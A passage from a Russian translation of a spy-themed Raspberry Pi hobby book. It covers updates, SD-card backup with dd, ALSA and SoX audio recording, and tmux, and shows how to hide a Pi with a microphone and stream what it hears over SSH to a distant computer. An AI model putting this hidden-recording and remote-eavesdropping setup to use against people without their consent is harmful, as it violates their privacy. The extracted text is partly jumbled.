основан, постоянно совершенствуются и улучшаются сотнями разработчиков
каждый день. Все они изо всех сил стараются, чтобы Pi работал как можно более
плавно, поддерживал как можно больше различных периферийных устройств и
устранял любые обнаруженные программные ошибки.
Все эти улучшения приходят к вам в виде обновлений пакетов и прошивки.
Чтобы поддерживать вашу ОС Raspbian в актуальном состоянии, вам
необходимо знать следующие три команды:


sudo apt-get update: извлекает информацию о том, какие пакеты



sudo apt-get dist-upgrade: установка обновленных пакетов.



sudo rpi-update: обновление до последней версии микропрограммы

были обновлены.

Выберите Да, когда будет предложено установить.

из репозитория Raspberry Pi Foundation на GitHub (онлайн-служба
управления исходным кодом).

Обновления прошивки больше связаны с устройством Raspberry Pi и могут
содержать улучшения ядра Linux, новые драйверы для USB-гаджетов или
исправления стабильности системы.

Резервное копирование SD-карты
Это случается со всеми в тот или иной момент - вы потратили часы на то, чтобы
довести до совершенства свою установку Raspbian, настроить приложения и
взломать умный код, когда из ниоткуда ваша кошка / собака / ближайший
родственник налетает на вашу клавиатуру и запускает механизм
самоуничтожения от стирания Пи, если он попадет в чужие руки в разделе 5
главы «Увод Пи в бездорожье».
Не беспокойтесь, агент, сделать резервную копию SD-карты довольно просто,
если у вас есть необходимое дисковое пространство для ее хранения.
[ 19 ]

Готовимся к нехорошему

Полное резервное копирование SD-карты в Windows
Мы сделаем полное зеркальное отображение вашей SD-карты. Данные будут
храниться в одном файле того же размера, что и ваша SD-карта.
1. Безопасно выключите Pi и переместите SD-карту в кардридер
вашего компьютера.
2. Посетите http://sourceforge.net/projects/win32diskimager/ и
загрузите последнюю версию приложения Win32 Disk Imager.
(Win32DiskImager-0.9.5-install.exe на момент написания книги).
3. Установите приложение, запустив установщик.
4. Запустите Win32DiskImager с ярлыка в меню «Пуск».

Резервное копирование SD-карты в Windows

5. Убедитесь, что правильный объем вашей SD-карты указан в разделе
«DeviceУстройство».
6. Щелкните значок папки и перейдите к папке, в которой вы хотите
сохранить изображение.
7. Введите подходящее имя файла для вашего изображения и нажмите
Open (Открыть). Стандартное расширение файлов изображений - img.
8. Наконец, убедившись, что полный путь к файлу образа выглядит
правильн
. о, нажмите Read - Прочитать.
После успешного завершения резервного копирования образа вы можете сжать
его, чтобы сэкономить немного места на диске. Просто щелкните файл
изображения правой кнопкой мыши и выберите « Send to» (Отправитьв), затем
щелкните Compressed (zipped) - Сжатая (заархивированная)
папка .
Чтобы восстановить SD-карту из резервной копии, просто укажите Win32 Disk
Imager на файл образа и нажмите кнопку «Write - Запись».
[ 20 ]

Глава 1

Win32 Disk Imager также используется для записи образов
операционной системы, доступных для загрузки по адресу
http://www.raspberrypi.org/downloads, непосредственно на
SD-карту без использования NOOBS.

Полное резервное копирование SD-карты в MAC OS X
Мы сделаем полное зеркальное отображение вашей SD-карты. Данные будут
храниться в одном сжатом файле, который должен иметь размер меньше, чем
у вашей SD-карты. Шаги, которые необходимо выполнить для резервного
копирования данных:
1. Безопасно выключите Pi и переместите SD-карту в кардридер вашего
компьютера.
2. Откройте терминал (расположенный в / Applications / Utilities на Mac).
3. Введите diskutil list, чтобы получить информацию обо всех
подключенных устройствах хранения.
4. Чтобы правильно идентифицировать вашу SD-карту, мы ищем диск, на
котором есть хотя бы одна запись Windows и одна запись Linux в
разделе TYPE (будет две записи каждого типа, если мы установили
Raspbian через NOOBS).
5. Обратите внимание на первое поле IDENTIFIER этого диска (disk1 на
снимке экрана).
6. В качестве меры безопасности мы сначала отключим SD-карту, чтобы
никакие приложения, работающие в фоновом режиме, не могли
изменять данные во время резервного копирования. Используйте
следующую команду, но замените [disk] полем IDENTIFIER вашей
SD-карты:
$ diskutil unmountdisk [disk]

7. Теперь мы сделаем полную копию SD-карты и сохраним ее в файле с
именем agent_sdcard.img.gz на вашем рабочем столе. Введите
следующую команду, но замените [disk] полем IDENTIFIER вашей
SD-карты (обратите внимание на букву r перед диском):
$ sudo dd if=/dev/r[disk] bs=4m | gzip > ~/Desktop/agent_sdcard.
img.gz

[ 21 ]

Готовимся к нехорошему

Вас могут попросить ввести пароль пользователя, чтобы разрешить запуск
sudo. Процесс резервного копирования не производит большого объема
информации при запуске, но отчет о состоянии можно создать, нажав Ctrl + T в
окне Терминала.

Резервное копирование SD-карты в Mac OS X

Чтобы восстановить SD-карту из резервной копии, повторите предыдущие шаги,
но вместо этого используйте эту команду на шаге 7:
$ gzip -dc ~/Desktop/agent_sdcard.img.gz | sudo dd of=/dev/r[disk] bs=4m

Если вы введете неправильный диск, вы потенциально можете
перезаписать внутренний жесткий диск вашего Mac без
какого-либо предупреждения. Сделайте тройную проверку!

Метод восстановления образа также используется для записи
образов операционной системы, доступных для загрузки по
адресу http://www.raspberrypi.org/downloads, непосредственно
на SD-карту без использования NOOBS.

Полное резервное копирование SD-карты в Linux
Мы сделаем полное зеркальное отображение вашей SD-карты. Данные будут
храниться в одном сжатом файле, который должен иметь меньший размер, чем
размер вашей SD-карты.

[ 22 ]

Глава 1

1. Безопасно выключите Pi и переместите SD-карту в кардридер вашего
компьютера.
2. Откройте терминал
3. Введите sudo lsblk -f, чтобы получить информацию обо всех подключенных устройствах
хранения.
4. Чтобы правильно идентифицировать вашу SD-карту, мы ищем диск, на котором
есть хотя бы одна запись vfat и одна запись ext4 в FSTYPE (их будет по две
каждого типа, если мы установили Raspbian через NOOBS).
5. Запишите ИМЯ этого диска (sdb на скриншоте).
6. Если какой-либо из разделов под ИМЯ вашего диска имеет в списке ТОЧКУ
MOUNTPOINT, вы должны сначала размонтировать его. Используйте
следующую команду, но замените [точка монтирования] точкой
монтирования вашего раздела:
$ sudo umount [mountpoint]

7. Теперь мы сделаем полную копию SD-карты и сохраним ее в файле с
именем agent_sdcard.img.gz в вашем домашнем каталоге. Введите
следующую команду, но замените [disk] ИМЯ вашей SD-карты:
$ sudo dd if=/dev/[disk] bs=4M | gzip > ~/agent_sdcard.img.gz

8. Процесс резервного копирования не производит большого объема
информации при запуске, но отчет о состоянии можно создать, набрав
sudo pkill -USR1 dd в другой консоли терминала

Резервное копирование SD-карты в Linux

Чтобы восстановить SD-карту из резервной копии, повторите предыдущие
шаги, но вместо этого используйте эту команду на шаге 7:
$ gzip -dc ~/agent_sdcard.img.gz | sudo dd of=/dev/[disk] bs=4M

[ 23 ]

Готовимся к нехорошему

Если вы введете неправильный диск, вы потенциально можете
перезаписать внутренний жесткий диск вашего компьютера без
какого-либо предупреждения. Сделайте тройную проверку!

Метод восстановления образа также используется для записи
образов операционной системы, доступных для загрузки по
адресу http://www.raspberrypi.org/downloads, непосредственно
на SD-карту без использования NOOBS.

Резюме
В этой главе вы рассмотрели различные части платы Raspberry Pi и немного
узнали о том, как она появилась. Вы также узнали о важности хорошего
источника питания и о том, как USB-концентратор с питанием может помочь
снизить потребление энергии, вызванное «голодными» периферийными
USB-устройствами.
Затем мы дали Pi запустить операционную систему, загрузив NOOBS, чтобы
помочь нам установить Raspbian на нашу SD-карту. Raspbian был загружен и
настроен с помощью утилиты raspi-config. Вы также узнали несколько
полезных команд Linux иузнали, как настроить удаленные подключения от
клиентов SSH по сети.
Наконец, вы узнали, как поддерживать Raspbian в актуальном состоянии и как
создать полную резервную копию вашей драгоценной SD-карты.
В следующей главе мы будем подключать звуковые гаджеты к Pi и намочим
ноги в большом пруду шпионских приемов.

[ 24 ]

Аудио выходки
Привет! Рад видеть, что вы выполнили начальную настройку и можете
присоединиться к нам в первый день шпионского класса. В этой главе мы
исследуем слуховую сферу и все забавные вещи, которые люди и машины
могут делать со звуковыми волнами.

Настройка ваших аудио-гаджетов
Прежде чем вы начнете вставлять все свои микрофоны и источники шума в Pi,
давайте потратим минуту, чтобы познакомиться с базовой звуковой системой
и звуковыми возможностями самой платы Raspberry Pi.

Представляем звуковую систему ALSA

Расширенная звуковая архитектура Linux - Advanced Linux Sound Architecture
(ALSA) - это базовая структура, отвечающая за то, чтобы все звуки работали
на Pi. ALSA предоставляет драйверы ядра для самого Pi и для большинства
USB-устройств, которые производят или записывают звук.
Фреймворк также включает код, помогающий программистам создавать
аудиоприложения, инесколько утилит командной строки, которые окажутся
.
нам очень полезными

На жаргоне ALSA каждое аудиоустройство в вашей системе - это карта. Это
слово унаследовано от тех времен, когда у большинства компьютеров была
выделенная звуковая карта. Это означает, что любое подключаемое
USB-устройство, которое издает или записывает звук, является картой для
ALSA - будь то микрофон, гарнитура или веб-камера.
Введите следующую команду, чтобы просмотреть список всехподключенных
аудиоустройств, о которых знает ALSA:
pi@raspberrypi ~ $ cat /proc/asound/cards

Команда cat обычно используется для вывода содержимого текстовых файлов,
а / proc / asound - это каталог (или папка в мире Windows), в котором ALSA
предоставляет подробную информацию о состоянии звуковой системы.

Аудио выходки

Как видите , в настоящее время есть только одна карта - номер ноль, это
аудиоядро самого Pi. Когда мы подключаем новое звуковое устройство, ему
будет присвоен следующий доступный номер карты, начиная с единицы. Введите
следующую команду, чтобы вывести список содержимого каталога asound:
pi@raspberrypi ~ $ ls -l /proc/asound

The black/white names are files that you can output with cat. The blue ones are
directories, and the cyan ones are symbolic links, or symlinks that just point to
other files or directories. You might be puzzled by the total 0 output. Usually it'll
tell you the number of files in the directory, but because /proc/asound is a special
information-only directory where the file sizes are zero, it appears empty to
the ls command.

Список каталогов / proc / asound

Регулировка громкости
Пора пошуметь! Давайте запустим AlsaMixer, чтобы убедиться, что громкость
достаточно велика, чтобы мы что-либо слышали, используя следующую команду:
pi@raspberrypi ~ $ alsamixer

Вам будет представлено красочное консольное приложение, которое
позволяет настраивать уровни громкости и другие параметры звуковой
системы.

[ 26 ]

Глава 2

AlsaMixer показывает громкость звукового ядра Raspberry Pi по умолчанию

Давайте посмотрим на приложение микшера сверху:
1.

Строки Card: bcm2835 ALSA and Chip: Broadcom Mixer говорят нам, что
мы действительно наблюдаем уровень громкости самого Pi, а не
какого-то подключенного аудиоустройства.

2. Строка Item: PCM [gain дБ: -17,25] говорит нам о двух вещах;
один из них заключается в том, что текущий фокус нашего ввода с
клавиатуры - это управление PCM (просто другое слово для
цифрового аудиоинтерфейса на жаргоне ALSA), а следующий, что
текущее усиление выходного сигнала составляет -17,25 децибел (в
основном, это просто мера громкости звука).
3. Используйте клавиши со стрелками вверх и вниз, чтобы увеличить или
уменьшить уровень громкости, и обратите внимание, как это также
изменяет усиление в дБ. Для первого аудиотеста вы можете установить
усиление в дБ примерно на ноль. Это равно 86 процентам от полного
счетчика (процент - это число, напечатанное сразу под счетчиком).
4. Когда вы будете довольны уровнем громкости, нажмите клавишу Esc, чтобы
выйти из AlsaMixer.
Остерегайтесь устройств с отключенным звуком!
Если вы обнаружите, что смотрите на черный пустой уровень
громкости с MM в основании и [dB gain: mute] в строке Item:
вы столкнулись с устройством, которое было отключено .
полностью отключено.
Просто нажмите клавишу M, чтобы включить звук на
устройстве и изменить уровень громкости.
[ 27 ]

Аудио выходки

Переключение между HDMI и аналоговым
аудиовыходом
Как вы помните, у Raspberry Pi есть два аудиовыхода. Мы можем либоотправить
звук на наш монитор или телевизор через кабель HDMI, либоотправить его через
аналоговый аудиоразъем 3,5 мм на подключенную парунаушников или динамиков.
Используйте утилиту raspi-config, чтобы изменить этот параметр, илииспользуйте
команду amixer для переключения виртуального переключателя,
определяющего путь аудиовыхода, двумя следующими способами:



amixer cset numid=3 1: устанавливает аудиовыход на аналоговое гнездо 3,5 мм.
amixer cset numid=3 2: устанавливает аудиовыход на кабель HDMI.

Тестирование динамиков
Теперь, когда вы решили, куда отправить звук, введите следующую команду,
чтобы проверить свои динамики:
pi@raspberrypi ~ $ speaker-test -c2 -t wav

Если повезет, вы должны услышать женский голос, говорящий « Front Left - Передний
левый» в левом динамике и « Front Right - передний правый » в правом динамике. Эти
слова будут повторяться до тех пор, пока вы не преодолеете желание начать марш и не
нажмете Ctrl + C, чтобы выйти из приложения тестирования динамика.

Подготовка к записи
Подключите USB-микрофон, гарнитуру или веб-камеру прямо сейчас, и давайте
посмотрим, на что они способны. Возможно, вы захотите сначала отключить Pi, прежде
чем вставлять свое устройство - как известно, горячее подключение гаджетов к Pi
вызывает перезагрузку.
Мы можем проверить, обнаружила ли ALSA наше новое аудиоустройство и
добавила ли его в список карт, используя следующую команду:
pi@raspberrypi ~ $ cat /proc/asound/cards

На следующем снимке экрана показана USB-гарнитура Plantronics, которой
назначена карта номер один.

Список обнаруженных карт ALSA с указанием нового дополнения
[ 28 ]

Глава 2

Если ваш гаджет не отображается в списке карт, возможно, драйверы не были
найдены и загружены для вашего устройства, и лучше всего поискать на форумах
Raspberry Pi подсказки по вашему гаджету по адресу
http: // www. raspberrypi.org/forums/.
Далее мы посмотрим на новое устройство в alsamixer, используя следующую команду:
pi@raspberrypi ~ $ alsamixer -c1

Аргумент -c1 указывает alsamixer отображать элементы управления для карты
номер один, но вы можете легко переключаться между картами с помощью
клавиш F6 или S.
Теперь давайте подробнее рассмотрим другие доступные представления:


F1 или H: отображает страницу справки с исчерпывающим списком
всех сочетаний клавиш.



F2 или /: отображает диалоговое окно, позволяющее просматривать
информационные файлы в /proc/asound



F3 или Tab: отображает счетчики и элементы управления воспроизведением.



F4 или Tab: отображает индикаторы Capture (записи) и элементы управления.



F5 или Tab: отображает комбинированное представление воспроизведения и Capture.

Поскольку мы собираемся записать звук, мы сосредоточимся на представлении «Capture -Захват».
Довольно часто микрофон вашего аудиогаджета неактивен и не может записывать по
умолчанию, пока вы не включите его для записи! Найдите свой элемент управления
Capture, обычно обозначенный как Mic, и включите его с помощью пробела, чтобы он
отображал слово CAPTURE, и отрегулируйте громкость записи с помощью клавиш со
стрелками.

AlsaMixer показывает переключенное устройство захвата - capture
[ 29 ]

Аудио выходки

Обратите внимание, что у дешевой веб-камеры может не быть
видимых индикаторов или элементов управления. Возможно,
она по-прежнему сможет записывать звук; вы просто не сможете
регулировать громкость записи вручную.

Тестирование микрофона
Чтобы помочь нам в записи и воспроизведении звуковых файлов, мы
установим бесценное приложение Sound eXchange (SoX) - швейцарский
армейский нож обработки звука. SoX - это утилита командной строки, которая
может воспроизводить, записывать и конвертировать практически любой
аудиоформат, существующий на планете Земля.
Введите следующую команду, чтобы установить SoX и надстройку, которая
работает с файлами MP3:
pi@raspberrypi ~ $ sudo apt-get install sox libsox-fmt-mp3

Обратите внимание, насколько просто загрузить и установить
новые пакеты программ из Интернета с помощью команды
apt-get. Вы также можете искать пакеты с помощью команды
apt-cache search [текст для поиска].

Теперь введите следующую команду, чтобы запустить то, что мы называем
циклом мониторинга:
pi@raspberrypi ~ $ sox -t alsa plughw:1 -d

Если все работает правильно, вы сможете говорить в микрофон и слышать
себя из монитора или настольных динамиков с очень небольшой задержкой.

SoX в цикле мониторинга

Давайте разберемся, что именно здесь происходит. Команда sox принимает
входной и выходной файл в указанном порядке вместе с множеством
необязательных параметров. В этом случае -t alsa plughw: 1 - это входной файл,
а -d - выходной файл. -t alsa plughw: 1 означает карту ALSA номер один, а -d
означает карту ALSA по умолчанию, которая является звуковым ядром
Raspberry Pi.
[ 30 ]

Глава 2

Строка состояния, которая постоянно обновляется во время работы sox,
предоставляет много полезной информации, начиная с левой стороны:


Процент завершения записи или воспроизведения (неизвестен в нашем
цикле мониторинга)



Истекшее время записи или воспроизведения



Оставшееся время записи или воспроизведения (также неизвестно в цикле мониторинга)



Количество сэмплов, записанных в выходной файл



Изящные стерео измерители пикового уровня, которые помогут вам
откалибровать входную громкость вашего микрофона и будут обозначены
значком ! , если происходит отсечение

Когда вы устанете слышать собственный голос, нажмите Ctrl + C, чтобы выйти из
цикла мониторинга.

Отсечение, акустическая связь и улучшение
качества звука
Вот три совета, как улучшить звучание ваших записей:
1. Ограничение происходит, когда сигнал микрофона усиливается сверх его
возможностей. Попробуйте уменьшить громкость захвата в alsamixer или
отойдитете немного дальше от микрофона.
2. Акустическая связь возникает, когда микрофон находится слишком близко к
динамикам, воспроизводящим записанный звук с этого микрофона.
Из-за акустической связи динамики могут издавать очень неприятный визг
(если вас не зовут Джимми Хендрикс). Самый простой способ уменьшить
акустическую связь - слушать через наушники, а не через динамики.
3. Если вы слышите сильный треск и треск в микрофоне, есть уловка, которая может
помочь улучшить качество звука. Но она ограничивает скорость шины USB до 12
Мбит/ с. Просто имейте в виду, что это может повлиять на другие ваши
USB-устройства в худшую сторону, поэтому подумайте об отмене изменения,
когда вы закончите с аудиопроектами. Введите следующую команду, чтобы
открыть текстовый редактор, в котором вы внесете простую настройку в файл
конфигурации:
pi@raspberrypi ~ $ sudo nano /boot/cmdline.txt

В начале строки добавьте строку dwc_otg.speed = 1 и поставьте после нее пробел,
чтобы отделить ее от следующей строки dwc_otg.lpm_enable = 0. Теперь
нажмитеCtrl + X для выхода и выберите y, когда будет предложено сохранить
измененный буфер; затем нажмите клавишу Enter, чтобы подтвердить имя файла
для записи. Перезагрузите Pi и попробуйте записать еще раз, чтобы увидеть,
улучшилось ли качество звука.
[ 31 ]

Аудио выходки

Запись разговоров для последующего
извлечения
Итак, у нас есть все настроенное звуковое оборудование, готовое к записи - давайте
поработаем с ним.
Представьте себе следующий сценарий: вы знаете, что что-то подозрительное
вот-вот исчезнет, ​и вы хотите записать любой звук, который издает эта
подозрительная штука. Ваша первая задача будет заключаться в том, чтобы скрыть
Pi из виду, подключив к нему как можно меньше кабелей. Если вы не работаете с
батареей, Pi придется спрятать где-нибудь в пределах нескольких метров от розетки.
Затем вы захотите подключить свой USB-микрофон и скрыть его, но по возможности
не закрывать, чтобы избежать приглушенной записи. Если вы не ожидаете, что
действие будет происходить прямо перед микрофоном, вы должны установить
сигнал захвата на максимум с помощью alsamixer, чтобы микрофон мог захватить как
можно большую часть комнаты.
Теперь все, о чем нам нужно беспокоиться, это как запустить запись.

Запись в файл WAV

Аудиофайл формата (WAV) - это наиболее распространенный формат ,
используемый для записи звука.


Чтобы сохранить запись в файл с именем myrec.wav на SD-карте, введите
следующую команду:
pi@raspberrypi ~ $ sox -t alsa plughw:1 myrec.wav



Воспроизведите запись, используя следующую команду:
pi@raspberrypi ~ $ sox myrec.wav -d



Если в вашем USB-устройстве есть динамики, например, гарнитура, вы можете
прослушать запись в наушниках с помощью следующей команды:
pi@raspberrypi ~ $ sox myrec.wav -t alsa plughw:1

Запись в файл MP3 или OGG

До сих пор мы хранили наши аудио в виде несжатых файлов WAV. Это
хорошо для более коротких записей, но это довольно быстро съест
свободное место на вашей SD-карте, если вы хотите записать несколько
часов аудиоданных. Один час несжатого 16-битного стереозвука с частотой
48 кГц займет около 660 МБ.
[ 32 ]

Глава 2

Мы хотим сжать аудиоданные, кодируя звук в формат MP3 или OGG. Это
резко уменьшит размер файла, сохраняя при этом звук, почти идентичный
естественному.
Введите следующую команду, чтобы установить кодировщик LAME (для MP3) и
кодировщик Vorbis (для OGG):
pi@raspberrypi ~ $ sudo apt-get install lame vorbis-tools

Чтобы закодировать myrec.wav в myrec.mp3, используйте следующую команду:
pi@raspberrypi ~ $ lame myrec.wav

Чтобы закодировать myrec.wav в myrec.ogg, используйте следующую команду:
pi@raspberrypi ~ $ oggenc myrec.wav

Если у вас есть файл MP3 или OGG, вы, конечно, можете удалить исходный
несжатый файл myrec.wav для экономии места с помощью команды rm:
pi@raspberrypi ~ $ rm myrec.wav

Но было бы удобно, если бы мы могли просто записывать прямо в файл MP3
или OGG?
Благодаря оригинальной конвейерной функции нашей операционной системы
это легко сделать с помощью следующей команды:
pi@raspberrypi ~ $ sox -t alsa plughw:1 -t wav - | lame - myrec.mp3

Строка действительно выглядит немного загадочной, поэтому давайте объясним,
что происходит.|- символ, разделяющий две команды, называется конвейером . Он
позволяет нам связать стандартный поток вывода из одного приложения со
стандартным потоком ввода другого приложения.
Итак, в этом примере мы говорим sox не записывать данные в файл на SD-карту, а
вместо этого передавать данные в lame, который, в свою очередь, кодирует звук, как
только он поступает, и сохраняет его в файле с именем myrec .mp3.
Одиночные символы - представляют собой стандартный поток ввода и стандартный
поток вывода соответственно. Мы также указываем аргумент -t wav, который
предоставляет полезную информацию о входящих аудиоданных.
Для вывода OGG мы должны использовать немного другую команду:
pi@raspberrypi ~ $ sox -t alsa plughw:1 -t wav - | oggenc - -o myrec.ogg

Затем вы можете воспроизводить эти форматы с помощью sox, как любой другой файл:
pi@raspberrypi ~ $ sox myrec.mp3 -d

[ 33 ]

Аудио выходки

Патенты на технологию MP3
В некоторых странах существует правовая неопределенность в
отношении распространения двоичных файлов кодировщика MP3 и
проигрывателей. Это проблема не только для разработчиков
бесплатных программ для аудио, но и для вас, как для конечного
пользователя, и вам часто придется получать соответству. ющие
двоичные файлы из альтернативных источников.

Создание сочетаний клавиш с ярлыками
Вы, вероятно, уже устали набирать эти бесконечные команды sox. К счастью, в
оболочку bash есть встроенная функция под названием alias, которая
позволяет нам создавать удобные ярлыки для команд, которые мы не хотели
бы вводить снова и снова. Ярлыки создаются следующим образом:
1. Введите следующую команду, чтобы создать ярлык с именем record,
который будет запускать запись sox и выводить ее в файл MP3,
который вы укажете при использовании ярлыка:
pi@raspberrypi ~ $ alias record='sox -t alsa plughw:1 -t wav - |
lame -'

Теперь все, что вам нужно сделать, чтобы начать запись в файл
newrec.mp3, - это ввести следующее:
pi@raspberrypi ~ $ record newrec.mp3

Чтобы просмотреть список всех определенных в настоящее время
ярлыков, используйте следующую команду:
pi@raspberrypi ~ $ alias

2. Как видите, Raspbian уже добавил четыре ярлыка по умолчанию.
Если вы хотите изменить свой ярлык, просто создайте его снова с
помощью команды alias и укажите новое определение или используйте
команду unalias, чтобы полностью удалить его.
3. Теперь есть только одна проблема с вашим изящным ярлыком - он
исчезнет, как только вы перезагрузите Pi. Чтобы сделать его
постоянным, мы добавим его в файл с именем .bash_aliases в вашем
домашнем каталоге. Начальная точка в имени файла скрывает файл от
обычного списка файлов ls; вам нужно будет использовать ls -a, чтобы
увидеть это. Затем этот файл будет прочитан каждый раз, когда вы
войдете в систему, и ваш ярлык будет создан заново.
4. Запустите текстовый редактор nano и отредактируйте файл .bash_aliases,
используя следующую команду:
pi@raspberrypi ~ $ nano ~/.bash_aliases
[ 34 ]

Глава 2

5. Символ ~ здесь - это более короткий способ обозначить / home / pi - путь
к вашему домашнему каталогу.
6. Добавьте команды ярлыка, по одной в строке, затем нажмите Ctrl + X, чтобы
выйти, и выберите y, когда будет предложено сохранить измененный буфер,
затем нажмите клавишу Enter, чтобы подтвердить имя файла для записи.

Добавление двух ярлыков в ~ / .bash_aliases

Обеспечьте безопасность записи с помощью
tmux

Итак, вы вошли в Pi через Wi-Fi и начали запись. Как только все начинает
становиться интересным, происходит провал сетевого подключения, и ваше
SSH-соединение разрывается. Позже вы извлекаете Pi только для того, чтобы
обнаружить, что запись остановилась, когда ваш сеанс SSH был прерван.
Познакомьтесь с tmux, терминальным мультиплексором или приложением
виртуальной консоли, которое позволяет запускать команды в защищенном
сеансе, от которого вы можете отключиться, намеренно или случайно, а затем
подключиться снова, не прерывая приложений, работающих внутри сеанса.
1. Давайте установим его с помощью следующей команды:
pi@raspberrypi ~ $ sudo apt-get install tmux

2. Теперь мы собираемся начать новый сеанс tmux, используя следующую команду:
pi@raspberrypi ~ $ tmux

Обратите внимание на зеленую строку состояния в нижней части экрана.
Она сообщает нам, что мы находимся внутри первого сеанса [0] и смотрим
на первое окно 0: запускаем команду bash - нашу оболочку входа в систему.
3. Чтобы продемонстрировать основные возможности tmux, давайте начнем
запись, используя тот удобный псевдоним, который мы определили ранее:
pi@raspberrypi ~ $ record bgrec.mp3

[ 35 ]

Аудио выходки

4. Теперь, когда идет запись, нажмите Ctrl + B, а затем C, чтобы создать
новое окно.
Теперь мы смотрим на второе окно 1: запуск новой отдельной оболочки
входа в bash. Также обратите внимание на то, что в строке состояния
текущее активное окно обозначается символом *.
5. Мы можем переключаться между этими окнами, нажимая Ctrl + B, а
затем N для следующего окна.

Сеанс tmux с двумя окнами

6. Давайте вернемся к причине, по которой мы в первую очередь установили
tmux - возможность отключиться от Pi, пока наша команда записи
продолжает выполняться. Нажмите Ctrl + B, а затем D, чтобы отключиться от
сеанса tmux. Случайное отключение от сеанса SSH будет иметь такой же
эффект.
7. Затем введите следующую команду, чтобы снова подключиться к сеансу tmux:
pi@raspberrypi ~ $ tmux attach

8. Используйте следующую команду, чтобы получить список всех
окон, работающих внутри tmux:
pi@raspberrypi ~ $ tmux lsw

Здесь мы рассмотрели только самое необходимое о приложении tmux, поэтому,
если вы хотите продолжить изучение, нажмите Ctrl + B, а затем? для получения
полного списка сочетаний клавиш.

[ 36 ]

Глава 2

Подслушивать разговоры на расстоянии
Что, если мы хотим послушать какое-то событие вживую, когда оно происходит,
но с безопасного расстояния от места записи Pi - точно так же, как радионяня?
Нам понадобится способ транслировать все, что записано по сети, на другой
компьютер, который мы можем слушать. Собственно, у нас уже есть все
необходимое, SSH и SoX; просто нужно знать, как составлять командные строки,
чтобы пользоваться этими мощными инструментами.

Прослушивание в Windows

У вас должен быть установлен полный пакет PuTTY из раздела
«Подключение к Pi из Windows» в главе 1 «Готовимся к неудачам», поскольку
в этом примере мы будем использовать команду plink.
1. Чтобы загрузить SoX для Windows, посетите
http://sourceforge.net/projects/sox/files/sox/ и щелкните ссылку для
загрузки последней версии (sox-14.4.1-win32.exe на момент написания книги).
2. Запустите установщик, чтобы установить SoX.
3. (Необязательно) Чтобы иметь возможность воспроизводить файлы MP3 с
помощью SoX, загрузите файл библиотеки декодера по адресу
http://www.intestinate.com/libmad.dll и поместите его в папку C: \ Program
Files (x86) \ sox- 14-4-1 папка.
4. Запустите командную строку из меню «Пуск», щелкнув ярлык или
введя cmd в поле «Выполнить / Поиск».
Следующие примеры будут выполнены в среде командной строки. Обратите
внимание, что каталог C: \ Program Files (x86) в более поздних версиях Windows
может называться C: \ Program Files на вашем компьютере. Просто сотрите
часть (x86) из путей, если команды не работают.
Чтобы начать запись на Pi и отправить вывод на наш ПК с Windows,
используйте следующую команду, но замените [IP-адрес] IP-адресом вашего
Pi и [пароль] своим паролем для входа:
C:\> "C:\Program Files (x86)\PuTTY\plink" pi@[IP address] -pw [password]
sox -t alsa plughw:1 -t sox - | "C:\Program Files (x86)\sox-14-4-1\sox"
-q -t sox - -d

SoX будет вести себя так же, как если бы он работал локально на Pi, а уровни
громкости двигались на звуковом входе.
[ 37 ]

Аудио выходки

Разберем команду:


"C:\Program Files (x86)\PuTTY\plink": это полный путь к



Мы указываем, что хотим войти в систему как пользователь pi @ [IP-address] и
использовать пароль -pw [password], потому что команда не будет работать, если
она должна сделать паузу и запросить у нас эту информацию.



sox -t alsa plughw:1 -t sox -: запускает sox на самом Pi, но



| "C:\Program Files (x86)\sox-14-4-1\sox" -q -t sox - -d затем направляет



Два аргумента -t sox предписывают SoX использовать собственный
местный несжатый формат файла, который особенно полезен для
передачи звука между каналами SoX, такими как этот.

приложению plink. Кавычки необходимы из-за пробела в имени каталога
Program Files (x86). plink похож на версию PuTTY для командной строки,
но больше подходит для взаимодействия с другими приложениями,
такими как SoX в нашем примере.

отправляет вывод на наш ПК Windows через ссылку SSH.

этот вывод в наше локальное приложение sox, которому мы дали -q или аргумент
режима выхода из косметических соображений, иначе SoX покажет два
конкурирующих индикатора выполнения.

Давайте посмотрим на несколько дополнительных приемов с PuTTY и SoX:


Полезно иметь возможность хранить запись на вашем компьютере с
Windows вместо SD-карты на Pi. Следующая команда выполнит запись с
Pi на myrec.wav на вашем локальном рабочем столе:
C:\> "C:\Program Files (x86)\PuTTY\plink" pi@[IP address] -pw
[password] sox -t alsa plughw:1 -t wav - > %UserProfile%\Desktop\
myrec.wav

Обратите внимание на символ> вместо
вертикальной черты, которая используется
для перенаправления вывода в файл.



Конечно, вы также должны знать, как просто копировать файлы с вашего
Pi с помощью команды pscp. Следующая команда копирует myrec.wav из
домашнего каталога пользователя pi на ваш локальный рабочий стол:
C:\> "C:\Program Files (x86)\PuTTY\pscp" pi@[IP address]:myrec.wav
%UserProfile%\Desktop\myrec.wav



Просто измените порядок аргументов предыдущей команды, чтобы скопировать
myrec.wav с локального рабочего стола в домашний каталог пользователя pi:
C:\> "C:\Program Files (x86)\PuTTY\pscp" %UserProfile%\Desktop\
myrec.wav pi@[IP address]:myrec.wav
[ 38 ]

Глава 2



Наконец, давайте убедимся, что вам больше никогда не придется
вводить одну из этих длинных команд, создав простой ярлык на
рабочем столе. Введите в командной строке следующую команду:
C:\> notepad %UserProfile%\Desktop\PiRec.cmd

Нажмите Yes - Да, когда появится диалоговое окно для создания нового
файла, вставьте одну из длинных команд, затем сохраните и выйдите.
Теперь вы должны иметь возможность дважды щелкнуть ярлык на рабочем
столе, чтобы начать новый сеанс прослушивания или записи.

Прослушивание в Mac OS X или Linux

Поскольку Mac OS X и большинство дистрибутивов Linux включают клиент SSH, все, что
нам нужно, это SoX. Чтобы установить SoX в Linux, используйте диспетчер пакетов
вашегодистрибутива, чтобы добавить пакет sox. Для Mac выполните следующие действия:
1. Посетите http://sourceforge.net/projects/sox/files/sox/ и щелкните
ссылку для загрузки последней версии (sox-14.4.1-macosx.zip на
момент написания) и сохраните ее на своем рабочем столе.
2. Дважды щелкните ZIP-файл SoX, чтобы распаковать его.
3. Откройте терминал (расположенный в / Applications / Utilities на Mac).
4. Введите cd ~ / Desktop / sox-14.4.1, чтобы перейти в извлеченный каталог SoX.
Затем введите sudo cp sox / usr / bin, чтобы скопировать двоичный файл sox в
место в нашем пути по умолчанию.
5. (Необязательно) Чтобы иметь возможность кодировать и воспроизводить
файлы MP3 с помощью SoX, рекомендуется установить SoX через Homebrew.
Посетите http://brew.sh и следуйте инструкциям по установке. Затем введите
brew install sox, чтобы собрать и установить SoX с поддержкой MP3.
Чтобы начать запись на Pi и отправить вывод на ваш компьютер, используйте
следующую команду, но замените [IP-address] на IP-адрес вашего Pi:
